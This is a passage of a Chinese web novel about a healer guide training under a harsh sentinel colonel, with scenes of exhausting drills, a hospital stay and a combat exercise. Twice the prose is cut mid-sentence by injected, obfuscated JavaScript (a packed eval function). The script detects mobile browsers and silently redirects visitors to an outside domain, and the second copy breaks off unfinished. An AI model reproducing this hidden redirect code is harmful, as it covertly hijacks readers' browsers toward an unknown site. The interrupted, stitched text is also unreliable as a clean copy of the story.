“一个单元。”她听到韩奕清冷的声线响起,语气不容置喙:“最少完成一个单元的实战训练。” “行……”沈骁只能妥协,他满脸疲惫,连眼皮都不想抬一下。 顾小绒跟着韩奕往楼下走,这会儿冷寂的大楼里只有他们二人的脚步声空旷地响起。到了负二楼的停车场,上校走到一辆黑色的车面前,利落地打开了车门坐进驾驶位。 这看上去像是他自己的车。 “上车。” “是。”顾小绒赶忙应到,为了不让长官显得太像司机,还是在短暂的纠结后选择了副驾。 又是封闭的空间,顾小绒想,雪松的气息变得更浓了。她用余光打量着上校,他的眉宇仍旧紧蹙着,冷然的面容没有分毫松弛,只是眼眸里可以看出显见的疲惫。 她在思考着刚才在办公室里听到的短短对话,虽然接触的时间不长,但按照上校的行事风格,能让她听到的必然是需要她听到的。 “一个单元的实战训练以后,你就要正式进入战场出行任务了。”低沉的声音忽然响起。 “是……”并无意外。 “一个单元就是三个月。”韩奕打着方向盘,继续说道:“从明天开始,每个月10天基础训练,20天实战演习,我会带你一起。” “好。”向导回答道。 90天的观察期,三个月的训练单元,公会的规定果真是严丝合缝。 灯光明灭地闪烁在玻璃上,向导的脸在其间若明若暗,她在黑暗里仿佛听到了这座庞大工业齿轮碾动的声音,她知道自己将很快变成这座巨大武器的一部分。 4. 第四章 纯白的室内光线柔和,墙壁是柔软的隔音层,这里几乎是整个公会最安静的地方,只有玄关的小型水池涌动着清冽的水,发出舒适的白噪音。 上校的住所并不奢华,但是空间足够,至少比禁制塔好了太多。两张床简单而相对地靠在房间的两边,都是单人行军床的样式。顾小绒注意到自己的物品已经被摆放到了靠门的床上,上面还有军服、训练服以及常服和睡衣。 “早点休息,明早6:30起来训练。”上校说完,开始缓慢地解上衣的扣子。 “是。”顾小绒想都没想,抱起睡衣就往洗浴室去了。 军令不可违,她从小待在公会,这几乎已是刻入灵魂的铁律。她在地方公会时也合住过宿舍,不过是和女孩子一起,和男性还是第一次。但她知道,在这里她不是做为一个女性,而是做为一个向导存在。 用最快的速度洗漱完毕,并且清理了发丝、折叠好毛巾后,向导快速的整理好床铺躺了上去。 上校缓慢地脱下上衣,露出宽阔的双肩与干练的肌肉。黑色的禁制环紧扣在白皙修长的脖颈上,看上去十分扎眼。他的手腕上留着深红结痂的伤口,那里的皮肤和血肉是在强烈的挣动里被锁链硬生生豁开的,看着格外狰狞。 上校的肌肉轮廓十分好看,没有过于夸张,磨砺得精炼而坚实。往下的腰部收窄,皮肤更加白皙,上面满是新旧的伤痕,大片的淤青与血红的擦伤遍布在肩头和下腰的位置…… 向导微张着嘴,猛然回过神来翻身对着墙壁。 休息。 她命令自己,这是她过来之后听到的最多的词汇。 身体违背了主人的意愿,也许是难以适应新的环境,也许是过于的疲惫,她迟迟无法睡着。洗浴室的水声响起又停止,上校走了出来,躺在了床上…… 每一点细微的声音都被放大,一组数据突兀地盘亘在脑海里:3米以外,10米以内。10米是为了控制哨兵,3米是为了保全向导性命。她曾经在地方公会与哨兵做过训练,她能够在大概七、八米的距离里勉强控制住B级哨兵,但发挥不稳定,而现在她和上校的床相隔距离是五米…… 一声“咔”的轻响,声音有些熟悉。 向导不自觉地转过身来,在微弱的光线下,她看见上校的右手被一只纯黑的金属手铐拷在了墙头,刚刚结痂的伤口被紧紧地勒住,才长好的红色血肉只来得及结成一道薄膜,就又被坚硬的金属狰狞地咬合了进去,渗出一串血珠。 被拷住的那只手微微往上,是一个不太舒适的弧度,那人却像是习以为常似的,已经合上了双眼。 …… 顾小绒闭上眼,双手紧紧攥住又松开,最终还是无法忍耐。她猛地起身,一把打开了医疗箱。 夜灯柔和的光在上校床边亮起,没有预料中的怒意与平日的压迫感,那双黑色的眸子睁开,却只是平静地望着她。 “上校,请小心伤口。”顾小绒放缓声调道,她按了按自己右手启动器的侧面按钮,上校的手铐便咔哒一声打开了。 血珠从破开的伤口表皮钻出,已经流成了一小股,顾小绒小心地捧起那只手,用棉签沾了碘伏细心涂抹,再蒙上纱布,若不是手铐的圈口大小有限,她甚至考虑再绑上一条毛巾。 上校一动不动地任她摆布,这个看起来乖顺实则有些倔强的小向导释放出一丝微甜的荔枝香,向导素将哨兵温柔地包围,精神丝线缓缓地伸了过来,抚摸着哨兵断裂的精神连接口,尽管那里已经不再疼痛。 没有被阻拦的向导放大了胆子,于是上校双手与背部的伤口都得到了妥帖地处理,等到她准备替他包扎脚踝的伤口时,手却被一把拽住了。 “我自己来。”韩奕缓声道。 哨兵的手像是一把铁钳牢牢禁锢着她,虽然不痛但也无法挣脱。 于是在沉默的妥协里,上校自己处理好了剩余的伤口。被钳制的那一瞬间,军人的本能让顾小绒条件反射地想要用精神力迫使哨兵放手,但她克制住了这股冲动,上校锐利的眼眸如鹰一般捕捉到了她一闪而逝的目光,她感觉自己的想法似乎被看了个透。 “违背长官命令这样的事如果再犯,是会被罚的。”韩奕沉声道,语气并不冰冷。 “是,长官。”顾小绒硬邦邦回应着,将手铐重新拷了上去,那里已经包上了一层厚厚的纱布,她将手铐的长短调了一下,让上校的手平放在一个舒适的空间里。 “明天早上,十公里。”上校似乎困了,语气里带有一丝慵懒。 “……是。”顾小绒咬牙切齿,收回了精神力。 清晨时分,天空还是黑得如同深夜一般,训练场里灯火通明,哨兵和向导们已经开始按照规定自发训练了。 自然地,训练场的所有人都看到了韩奕上校陪着自己的新向导一起前来,不过大家的眼神都在注意到上校脖子上的禁制环时十分识趣地收了回来。也许因为长官身份不同,她感觉到入场后,训练室的氛围变得更加沉默。 向导随即打开跑步机开始训练,韩奕则在一旁的办公室里隔着玻璃墙办公。哨兵五感敏锐,因而不能喝咖啡之类的刺激性饮料,上校常年饮用清水,再加上全麦面包、培根与燕麦就是早餐。 通常来说向导的每日跑步量是五公里,只有顾小绒的跑步机上设定的是十公里,因此身旁同时训练的向导已经跑完换了一批,有一些发现什么的人朝着这边默默投来同情的眼神。 上校所处的位置视野很好,他大概花了半个小时就处理好了公务,现在正好整以暇地靠在沙发上看着自己的向导。顾小绒的脸上看上去没有什么情绪,只是下颌紧紧咬着,白皙的脸颊变得通红,被一层层汗水沾湿。 哨兵敏锐的视力扫过跑步机的表盘,见上面的配速是7。 太慢了,于是顾小绒在气喘吁吁里眼睁睁看到韩奕悠闲地走了过来,毫不留情地将配速调到了9。 好好好,这么玩是吧。 顾小绒被气笑了,她心里蹿起一股邪火,真想掐死前几天那个拼死拼活治疗对方的自己。有的人,禁制环注定带一辈子。 许是心底的咒骂过于恶毒,面部的表情也过于暴露,韩奕的脸上露出一副似笑非笑的神情,比他板着脸的时候还要可怕。 十公里结束后,顾小绒扶着跑步机汗如雨下地走下来。 “感觉如何?”对方的语调听起来甚至有些轻快。 “还行……”向导捏着拳咬着牙。 “好,等会儿俯卧撑100,下午负重25公里。” “……”她决定不再顶嘴。 晚上在上校办公室里,不需要莉莎提醒,顾小绒已在沙发上自动入睡。她现在练就了随时随地睡着的能力,在上校的办公室里、在上校的车上、在任何可以休息的时间间隙。 到了第二天,她知道了上校说的十公里是每天十公里的意思。 第三天她开始断片,会遵从指令走出办公室、回住所洗漱,但完全无法思考也没有记忆,在断片中完成这一切后迅速倒床睡觉。 第四天,跑步停止了,换成跳伞与降落训练,在模拟的作战区内,在山地、森林、沙漠,在飞驰着大雪和冰雹的荒原,在炎热到窒息得荒漠。从天空往下跳、从楼上往战机上跳、静止地跳、移动地跳…… 第五天,在顾小绒的腿部肌肉开始抽搐、并开始怀疑自己会猝死的时候,换做了驾驶战机,主要是接触军方最新的型号。 第六天,依旧十公里、俯卧撑,下午射击训练。 第七天,上午游泳,下午负重攀岩。 第八天,上午搏击训练,下午负重30斤拉练…… 顾小绒不知道自己是怎么到达终点的,她只记得最后自己面目全非地从泥坑里爬出来,把那30斤重的玩意儿往地上一扔,眼前忽然断片似的一片黑暗,她感到有些难受,好像有什么东西从胃里控制不住地喷涌出来。 没有忍住,吐了身边一位帮忙搀扶的男向导一身。 敬职敬责的右腿终于到了极限,发出一阵几乎断裂般的剧痛,肌肉抽搐着团到一起,身子不受控制地弯曲起来,接着双手也开始抽筋。 她感觉到周围越来越多的人凑上来,有人 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“早上6点。”莉莎回答道,她十分担心地摸索着顾小绒扎着针的手:“你昏迷了12个小时,大家都吓坏了。” 早上6点,那整好……吃了饭可以继续锻炼了?顾小绒想着,试图从床上起来,被莉莎手足无措地按了回去:“可千万别动了,你右腿肌肉拉伤了,需要静养。” “可是……上校呢?”她迷迷糊糊地问。 “在你隔壁呢。”莉莎偏了偏头指向一旁:“昨下午上校抱你来医院的,他一夜没睡,现在应该在休息了。” “……我明白了。”顾小绒有些低落,还是忍着情绪对莉莎说:“给你们添麻烦了。” “哪里哪里。”莉莎抚摸着顾小绒的肩:“训练受伤是非常正常的事情,你是没看过哨兵对练呢,那阵仗能一下午把军区医院塞满。” 顾小绒知道对方在安慰自己,她抽了抽嘴角,露出一个难看的笑容。 挫败感翻涌而上,像是浪潮将她吞没,她的心一直往下沉。 果然还是……失败了啊,明明几天前都咬紧牙关,坚信着自己一定可以。这才几天就适应不了,自己会不会被退回地方公会呢……顾小绒盖住眼睛。 虽然目前为止她觉得自己的精神力和上校比较协同,可自己162cm的身高硬件条件,就决定了体力上她很难与上校匹配。她原本就是一个没有实战经验的新人,在地方公会的成绩不错也只限于与A级、B级哨兵的训练。 在顾小绒的记忆里,A级与B级哨兵是有极限的,只要通过努力再加上时间,一定可以跟得上,而S级就像是看不见顶的山峰、探不见底端的深渊,仿佛的没有边界与尽头一般,任凭她无论如何努力,都无法靠近分毫。 在中央公会,攻击型向导一直占据主流地位,毕竟在实战环境里只要精神力过得去,一般的哨兵都会希望向导的体力与自己匹配,毕竟谁都不想带一个拖油瓶。而自己又是个治疗型向导,按理来说更适合分配给A级哨兵…… 顾小绒感觉自己几乎快要陷入绝望。 向导的意识在内耗的漩涡里逐渐消散,好像是清醒了一小会儿,又沉沉睡过去,这些想法胡乱地盘桓在脑子里,变成光怪陆离的梦境。 她好像梦到了上校出现在她身边,那股淡淡的雪松味如同梦魇一般阴魂不散,她猛地打了个冷颤。这个噩梦太可怕了,她从来没有觉得那双冷黑的眼睛如此可怕…… “……” 稍微一靠近便被对方条件反射躲开的韩奕上校,此刻表情不是很愉快。 “噗。”一声银铃般的笑从走廊上传来。 一位金发女哨兵正斜斜倚在走廊上,刚刚看到这一幕,发出不客气的轻笑声。她身材高挑、一双明丽的绿色眼睛,金色长发高高束起,上身是紧身的白色毛衣,下身是火辣短裙,配上黑色长靴,黑色军服外套松松散散地垮在肩头,被上校严厉的眼神狠狠一剜,这才正正经经地穿好,站直了身子行了个军礼。 “老师,您找我?”女哨兵收敛了笑容,正色道。 5. 第五章 等到二人快步走入隔壁房间,女哨兵的声音才轻快起来,刚刚她怕打扰到向导女孩休息,一直压着嗓子。 “老师,听说您又把新人练昏厥了,这么多年过去了您还是一如既往的狠心。” “诺兰都跟我说了,您拿哨兵的锻炼标准练人家向导,小姑娘吐了他一身,千真万确,昨晚我回住所时候看到他洗了一晚上衣服。”女哨兵毫不留情地卖着自家向导。 “不过我记得我还是新人的时候也被您练吐过,那时候也是吐了诺兰一身。”她笑嘻嘻地转了下话锋,勉强给长官留了几分颜面。 “注意纪律,上尉。”韩奕语气严厉,他仍然盯着对方的那一身扎眼的衣服。 “是是是,长官。”名叫曼琳的女向导站直了身子,又将军服外套紧了紧,勉强遮住了小裙。她有在上校面前“放肆”的资本,毕竟她刚刚成功地执行完任务回来,现在正是来之不易的短暂休假期。在眼下如此惨淡的前线数据里,也只有她还一骑绝尘,这次任务的成功,让她的任务成功率从91%小小迈入到92%,她正是春风得意的时候。 “汇报任务。”韩奕将眼前那叠纸一扔,没有看一眼。 “是。”曼琳双手靠住后背换做稍息的站姿:“18号晚上10:00我与诺兰潜伏进奥林徳的三号化工基地,收缴销毁C-45630以及类似原料约2千吨,这些应该都是用来制作催化剂的原料。交火期间我们遇到敌方哨兵数量3,以及士兵约800,重型装甲数量……” 整整八分钟过去,女向导才做完了汇报。 “2千吨,不是很大的规模。”韩奕蹙眉看着提交上来的地图,神经毒素的提取比率很低,1000斤的C-45630加工出来也只有1-2斤,而按照敌方现在这样疯狂的方式,他们的哨兵对催化剂的需求远远不止于此。 奥林徳是专门给中部重要城市维塞克城提供军火支援的制造地与护城河,就位于维塞克城的西北。维塞克城有“钢铁之城”的称号,是南方军把控的最重要中部城市,它的身后便是一望无际的塞莱斯平原。 一旦维塞克城攻破,身后的平原与粮仓便唾手可得,南方军与北方军为此苦战整整一年,到现在也还在相持。 “应该是都转移到维塞克城里了,最近所有的物资都在往那里转移。”曼琳回答道。 看来一时半会儿要拿下并非易事,韩奕继而问道:“敌方哨兵呢?” “与之前的一样没有更迭,自我意识几乎没有,身体狂化程度很高但耐力较差,一旦开始进入迂回消耗就很容易赢。”曼琳思索着:“诺兰说他们的精神屏障像是一团混乱的漩涡,向导一旦用精神力靠近就被弹开,并伴随强烈的晕眩感,目测是用什么方式给他们弄了一些机械屏障以做防护,这一点比之前倒是更新了。” “好。”韩奕惜字如金地评判道,曼琳撇了撇嘴。 “所以长官,还有什么事吗?”休假期被长官叫过来问话的感觉是真的很不爽。 韩奕垂眸喝了一口水:“新人向导你见过了。” 就是躺床上,不让你碰的那一位么。 “嗯。”曼琳点点头。 “她只有一个单元的训练时间。”上校面无表情地说道。 女哨兵的眼神瞬时一凛:“可是老师,公会规定的标准时间是三个单元,最起码也得是两个单元啊……” “没有办法。”韩奕截住了对方的疑问:“现在公会已严重人手不足,尤其是向导。” “我明白了。”曼琳的声音低了下去。 “再过两天我准备带她进行实战训练,你和诺兰过来陪练。”上校命令道。 “是……”军令不可违,曼琳只能给自己戛然而止的休假默哀,在她慢吞吞挪出这间病房改造的临时办公室时,她又听到长官的声音从身后传来。 “楚飞那小子怎么样?”上校问。 与沈骁上校盯着所有A级向导的考评情况不同,哨兵数量较多,韩奕没有精力与时间盯着他们所有人,他能关注到的数量有限,自己一手带出来的学生则更少,目前为止也就曼琳和楚飞两个人了,因而在私下的非公开场合,曼琳一直都将韩奕称作“老师”。 曼琳做为她那一届成绩最优异的哨兵,虽然是A级,但是状态十分平稳,甚至面对各种精神力攻击、药剂刺激都表现出远胜于男性哨兵的稳定性和高承受度。 而楚飞,这个男性哨兵在两个月前刚刚分化成S级,这对于哨兵来说不是好事,毕竟S级太易失控,狂化几乎是他们的最终结局。 “这个……我也不是很清楚。”曼琳回过头,一五一十地答道:“好像情况还是不稳定,他和他的向导匹配度一直不高,这两个月也没敢给他们派任务。” “实训时候,把他们俩也叫过来。”上校冷声命令道。 “是。”女哨兵这一次嗖得钻出了房间。 顾小绒一觉睡到了下午6点,亏得她还年轻,身体恢复快,在一天一夜充足的休息和睡眠后,身体已经没有那么痛,感觉可以动弹了。 向导一瘸一拐地下了床,朝着病房外东瞧瞧西望望,她不知道上校在哪里,又害怕自己走太远禁制器的警报声会响,好不容易才盼来一个医生,赶紧挥挥手请他过来。 在她比比划划地跟医生说,希望能在腿上打一针封闭的时候,她看见医生的表情肉眼可见地有些凝固,眼神看向她的身后,不作回答。 好吧。 只是一瞬间,雪松味的信息素从头顶上方释放开来,向导缓缓转过身。 “做什么?”上校眼下发青,眼眸里也布满了红血丝,他看上去很疲倦,看样子是一天一夜没有休息。以哨兵的听觉,这人明明是什么都听到了。他还故意隐藏了信息素,直到靠近才释放出来。顾小绒咬了咬牙,觉得这人有些可恶。 “上校,我想申请打一针封闭……”她转而又想到长官被自己弄的一塌糊涂的衣服,垂头望着脚尖,声音低得快要听不见。 “我不想耽搁后天的实战训练。”她又补上一句。医生也和她一起静静站立着,余光估量着上校的神情。 漫长的五秒钟沉默,韩奕出乎意料地说了句:“好。” 顾小绒如获大赦。 实战训练与之前的模拟场景训练不同,是真的需要乘坐战机被投送到模拟的战场环境中去的。 顾小绒换好了防弹衣,将各种装备、枪械、刀、电-击枪等配备好逐个检查,带上手套、绑好军靴,将头盔和护目镜拎在手上。头盔用了新的金属材质,轮廓优美,重量也较轻,这极大减少了作战时候对颈部的压力。虽然实际作战时,头盔只能尽量防御一些角度偏移的子弹或是炸弹碎片,但这也足够一定程度地保住性命。 铅灰的天空下着雨,雨里似乎还夹杂着雪,风吹过来只觉刀刮一般寒冷。 她和上校走到战机前时,见到两位同样全副武装人笔直站立着,朝着这边敬了个军礼,他们也是将头盔和护目镜夹在胳膊下。那个男向导顾小绒认识,就是之前来扶她被吐了一身的那位,他长着一双温柔的蓝色眼睛。 “……”顾小绒有点不敢看他,现在的场合说私事显然不合适,她决定之后找个时间对他表示感谢。 一旁的女哨兵长有一双美丽的绿色眼眸,是如同宝石般的绿色,一头金色的长发,此刻已经扎在了脑后。她身形高挑、长身而立,身高目测175,女性柔美的身体曲线与坚实的力量在她的身上完美结合。她站在那里,就好像闪着光,照亮了铅色的天空。 “初次见面,我叫曼琳。”她对着顾小绒露出一个灿烂的笑容:“这是我的向导诺兰。” “你好。”男向导开口,语气和他的相貌一样温和。 顾小绒朝着两位上尉敬了个军礼:“12680号中尉、向导、顾小绒。” 上了战机后,顾小绒看着上校的侧脸,此时的韩奕正望着窗外连绵的云雨,轮廓冷峻、鼻形高挺、棱角分明。 她第一次看见上校穿特种作战服,他白皙的皮肤与黑色的材质总是有一种无与伦比的匹配感,皮革、金属与防弹布料加强了这种质感,高挑的身形恰到好处地匹配上军械的重量。他坐在她前面、上身挺直,如同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16055844|179099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一把缓缓出鞘的黑色利刃,眼里寒光闪烁。 他就像是天生为了作战而生。 “唉,老是休假也没意思。”曼琳的神情松弛许多,她一面望着窗外的天,一面说道:“太久没有打架了,手痒,还是得找个哨兵出来。不然老是打你也没有意思,是不是,诺兰。” “……”在顾小绒紧张的目光中,男向导朝她投来一个杂糅着早已习惯、不好意思等多种情绪的苦笑。 韩奕不发一语,像是习以为常。 实战训练的目的很简单,他们四人两组需要以最快时间进入建筑体内,切断防御系统的电源。路上会有路障模拟敌方士兵伏击,当然也会有“敌方”哨兵与向导。他们一方负责进攻,另一方则负责防守。 战机抵达训练地点,将他们空投下来,已经经历过日常降落训练,顾小绒完成得不错。 这是一个已经被战争破坏过的建筑群,一股混合硝烟和潮湿的腐败气息扑面而来,雨水绵延不断地洒落而下,她几乎是下意识地调整了哨兵的鼻息,避免他长久浸泡在过于刺鼻的味道中。 她与韩奕的精神丝线在一瞬间牵拉到一起,她感到对方紧紧地拉住了她,随后她也仿佛得到了哨兵的视力与听觉。 顾小绒释放出自己的一半精神力作为防御,构筑起一道强大的精神屏障。做完这一切她扩散出另一部分,朝着四周探查。 不一会儿顾小绒便将她能感知到的空间框架通过精神力感知给了韩奕,一旁的曼琳与诺兰显然也同步完成,韩奕对着他们比了个手势,双方分开,从一前一后两个道路同时切近。韩奕脑海中的作战路线以及可能性预测也清晰地传到顾小绒的思维里,她屏息凝神地感知着上校的思维路径,自己都没有意识到他们的精神连接是如此的契合、交融。 他们走的路线隐蔽陡峭,幅度较大,这是一条较近的路,但是攀爬时候敌方的防御力量从上往下很容易形成压制。 顾小绒十分注意地根据韩奕的身体调整自己的走向,几乎把自己卡在哨兵与周遭掩体的死角,韩奕也没有过快地行进,而是在她可以适应的速度里保持在她前方的3-5米处。 “啪啪”两声枪响忽然袭来,伴随着剧烈的精神侵袭,向导缩回攀爬的右手,朝下一个贴地翻滚躲避,紧紧咬牙抗住了一波突如其来的精神攻击。 通过哨兵的眼睛,她能看见两个2米左右的类人机器从上方突袭而来,而此时的韩奕正刚好悬空在一块黑色的岩石上。这如果是人,手上真的有子弹也行,可对方是机器,而他们枪里配备的是演习橡皮子弹。 顾小绒心里揪紧,却见霎时间韩奕右臂发力瞬间腾空,像是飞一般轻盈,修长的身影一跃而上,右腿横扫,不过几秒的距离机器人便七零八落地倒在了地上。 他们加快了速度迅速攀爬突击了上去,一路往上顾小绒只需要负责自保、躲避以及扛住精神侵袭。她用屏障牢牢地保护着自己的哨兵,这使得韩奕几乎没有任何负担与掣肘,他们迅速地突围了进去。 防御系统一般都在基地最深安全系数最高的地方,顾小绒释放出了自己的精神体——一只白色的知更鸟轻巧地钻过横斜的钢筋混凝土,朝着地底下飞去。 经过查看后,她探到一个无法感知的、混合着铅、水泥还有其余金属混合物制造的巨大的闭合掩体。 ——这一定是防御系统主机的所在之处。 她已分不清这是韩奕的想法还是自己的,他们共享着一切感知与思维,两个身体也仿佛合二为一。 往下的突进更快一些,他们很快便摸到了那堵厚重石墙的所在地,四下寂静无声,韩奕却十分警戒,顾小绒快速摸到封闭的门扉,将破译器安装在上面,只需很快的时间他们就能够打开门扉了,顾小绒屏息凝神、冷汗如瀑。 “砰!” 一声尖利的枪响,子弹仿佛擦着她的头皮掠过。哨兵的身体反应几乎先于意识,他猛地扑倒顾小绒,一阵剧烈的翻滚后进入到一个狭窄黑暗的夹角。 这一声枪击的狠辣程度绝非机器可比,顾小绒在一瞬间意识到:那是哨兵。 6. 第六章 此时顾小绒被韩奕紧紧圈在怀里,哨兵的身体如同坚实的城墙一般将她牢牢护住,他将她箍在怀里、半压在身下,手臂如同铁钳一般无可撼动。顾小绒的头顶抵着韩奕的禁制环,侧脸被按压在胸膛上,那里的心脏正沉稳有力地跳动着。 顾小绒挣了挣,才得到空隙,抽出手来填补上之前清空的弹夹。 她又听到两声“砰砰”的枪响,很显然他们的破译器被击碎了。 哨兵的信息素泄露了出来,雪松味充盈着鼻尖,冰冷清冽、浓郁到发苦,韩奕的每一分肌肉都绷紧,进入到战斗状态。 此时,远处又有枪击声传来,显然曼琳她们也从另一条路线赶了过来,应该也和伏击在这里的哨兵向导展开了对决。 他们必须速战速决,因为在真实战场上,不出几分钟敌方的增援就将赶来。 顾小绒通过连接的精神丝线询问上校,没有得到回复,此时共通的精神体一片安静与纯白,哨兵只专注地盯着外面的一切动向,眼神如同捕猎的兽类。 一阵咔哒上膛的声响由远及近,有脚步声,她听到了精神体属于猛兽的嘶吼与踱步。 对面按捺不住靠近,准备速战速决。 顾小绒的大脑几乎紧张到空白,她凝神屏息,用余光看着韩奕坚硬分明的下颌线,她知道成败在此一举。韩奕紧固的双臂从她身上缓缓松开,而后—— 一、二—— 几乎是一瞬间,韩奕反手夺过了对方靠近的枪口,在“砰砰”两声巨响后对方的枪械直接飞了出去。韩奕一个横扫朝着对方的下盘攻去,几乎快得只能看见残影,对方险险躲避、抽身后撤,而后两个哨兵便如同猛兽一般碰撞厮杀到一起。 顾小绒感觉到还有人靠近,她抬手就扫过一发子弹进行掩护,那应当是个攻击型向导,此时与机械精神干扰完全不是一个量级的侵袭正猛烈地撼动着她的屏障,她感到太阳穴如同被电钻一般钻动、头痛欲裂。哨兵的速度太快、且韩奕已和对方近战到一起,顾小绒没有办法对着他们的残影开枪。 危机关头,又有两个黑影飞身而来,三个哨兵将韩奕牢牢包夹在中间。 一时间,几股精神力如同湍急的流水碰撞到一处,力量四散飞溅、他们在同时对着顾小绒展开攻击。顾小绒缩在射击死角,一边防御一边快速而镇静地换着弹夹,她需要时刻感知对方向导的方位从而开枪压制,从精神与战场两个层面掩护自己的哨兵。 她出奇地冷静,很快就在对方猛烈的攻击中捕捉到一丝杂乱与不和谐。 攻击力最强、最凶猛的那一个,他的节奏与他的哨兵似乎有些不同步,顾小绒几乎是立即抓住了这一点。她随即配合着韩奕的动作、将精神力拧成尖锐的刀尖,朝着最凶的那个向导刺去。 对方倒是挡住了,可他的哨兵没有,她听见一声闷哼,一个哨兵被韩奕当胸一脚踹飞了出去,顾小绒立即开枪,却被对方闪身躲过。 同时,有一发子弹擦着她的右肩掠过,还好没有打中只是擦过,橡皮子弹带着醒目的绿色留下划痕。 她的反扑使得精神屏障漏出间隙,另外两个向导随即跟上,将刀刃劈砍在屏障已然破碎的裂隙里,顾小绒已然到了极限,屏障摇摇欲坠,她只能深吸一口气,在屏障碎裂的瞬间将自己拧到最尖锐的刀尖朝着对方狠命捅去。 霎时间白刃相对,刀光见血。 精神力的剧痛使得激斗中的哨兵都不由慢了半拍,韩奕一个侧身拿腕将左侧哨兵的手朝着反方向狠狠一撇,只听“咔擦”一声血肉断裂的声响。另外两位哨兵飞身而起,一个扫击右肋一个直冲面门,韩奕举手格挡住头部,腹部结结实实地挨了重创。对方力道不小,那一下扫踢直冲肋骨,发出可怖的声响。 可韩奕却硬是稳住了身形,反手抱住那条直冲面门的腿就是一个抱摔,腾空时候下盘最易不稳,那哨兵果然被摔飞了出去,正好跌在顾小绒的面前。 “砰砰砰!”顾小绒抬手几枪打了上去,子弹正中到那哨兵的头部与胸腹,腕表上闪烁出红光显示出局。 现在仍与韩奕缠斗的就只剩下的一位哨兵,对方手法狠戾,招招要害,他的侧踹、飞踢与肘击几乎是疾风骤雨、毫无间隙。哨兵一脚过去,力道直接让石柱碎裂出巨大的豁口,碎石崩裂、韩奕闪身偏头险险躲过。 顾小绒刚刚经历完与对面向导的精神力血战,双方几乎都是白刀子进红刀子出,抵死厮杀。为了保证哨兵的行动力,她将所有痛觉转移到了自己身上,在最后的长枪彼此狠狠插入到对方精神的最深处后,对面的袭击终于溃退。当然,她自己也气力耗尽、靠着墙角缓缓滑了下去。 激烈的血战使得哨兵的攻击愈发猛烈,顾小绒还从来没有从哪一个哨兵身上感受到这样可怕的气息。可她已经全身湿透、精神力透支,没有力气朝着那个哨兵攻击。 她感知到对方巨大的杀意,她能透过韩奕的眼,看到对方血红的、犹如野兽般的眼睛。 而韩奕的眸子却愈加的冰冷,他气息下沉,在对方出拳的间隙里电光火石地回击。一个肘击猛地劈砍下来,对方偏头向后躲避,刚好落入了韩奕腿部的攻击范围,随后一记漂亮的高鞭腿、紧接着如出一辙的侧踹,哨兵躲开了第一下没能躲开第二下。 高位腿法的冲击何等惊人,何况是直接踢到了头上,胜负已分。 另一边,曼琳也结束了战斗,朝着这边走来。她行进速度很慢,刺目的鲜血覆盖了左半边脸。诺兰将剩下的破译器放到门上将其打,切断了里面的电源。 顾小绒全身散架地靠在墙角,仿佛身体已不属于自己,她只能灵魂出窍一般地看着他们把剩余的向导挨个揪出来。那个被掰折了手的哨兵捂着手臂嗷嗷大叫,韩奕缓步走到他身前蹲下,说了句:“脱臼而已,没掰断。”随后让诺兰上前帮忙按住他,在对方撕心裂肺的尖叫里将他脱臼的骨头正了回去。 顾小绒嘴角抽了抽,她怎么不知道自家上校还兼职骨科医生? 曼琳将围攻她的那两个哨兵也捆住提溜了过来,她余怒未消,朝着其中一个肩头狠狠踩上去,对方发出一声凄厉的哀嚎。 “服不服。”女哨兵咬牙切齿。 “服了姐,饶命。”对方认怂讨饶。 韩奕走到那个与他缠斗最久的哨兵身边,对方缓缓摘下了头盔和护目镜,露出已经被踹出血来的眼耳口鼻。是个年轻的小伙子,身形健硕硬朗、体型比韩奕还要高大一截。也唯独对他,上校无所保留、完全没有收敛力气。 “老师……这么多人,你踹我最狠……”楚飞声音嘶哑,显得有些委屈。 小伙子也有一双黑亮的眼睛,与韩奕泛着冷光的黑瞳不同,他的黑眸偏向棕色。那双眼睛已经褪去了刚刚厮杀时的血红,因为受痛而湿漉漉的。 韩奕显然也耗尽了力气,他胸口还在起伏,不过对对方的表现还算满意:“曼琳说你状态不稳定……”他喘息着、又顿了顿:“我看还行,准备出任务吧。” “你好狠的心……” 以前顾小绒或多或少会觉得韩奕有些针对自己,但在第一次实战训练后她明白了,韩奕只是想平等地创死他们所有人。 此次实战训练,我方2队哨兵与向导、对方5队,一共14个人,瞬间把军区医院的一整个过道的病房占了个满满当当。5队人马,3队围着他们打,里头还有个S级哨兵,顾小绒揉了揉还在嗡鸣的太阳穴,觉得自己承受了太多。 此刻她正在医院陪着上校做检查,曼琳看上去满脸是血,实际上是皮外伤,伤势较轻。而韩奕是看上去没有太多外伤,实际上不容乐观,那一脚是使足了力气踢到肋骨的,不知道有没有脏器损伤。医生的表情印证了顾小绒的猜测,她拿着一大沓检查单和药剂单,只觉得心脏像是被什么捏住了一般。 放下门帘的间隙,顾小绒瞥到韩奕卷起上衣,露出右肋可怖的大片紫红色淤血。 检查结果显示没有骨折,只是脏器里有血块,不排除内出血风险。 韩奕对这样的小场面司空见惯,波澜不惊地扔下检查单就准备走。此时的他看上去除了动作慢一点之外,外观没有什么异常。 顾小绒当然没有忘记体能训练那八天被支配的恐惧,可是韩奕抱住她滚向夹角那一幕突兀地出现在脑海,她的头被紧箍在他的怀里,鼻翼全是雪松的味道,他的身体与手臂那样坚硬,好像他的血肉就是一座无法逾越的钢铁城池。 诺兰和其他向导的身上尚且有伤,唯独她除了轻微擦伤之外,几乎毫发无损。 “上校,可以请您留在医院观察吗?”向导还是决定这样做,她不敢抬头,声若蚊蝇。 对方没有即刻回话,可顾小绒能感觉到对方冰冷的眼神此刻正如有实质地落在自己身上,韩奕的嘴角扬起一丝不甚分明的弧度:“十公里不够是吗?中尉。” “请您留院观 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 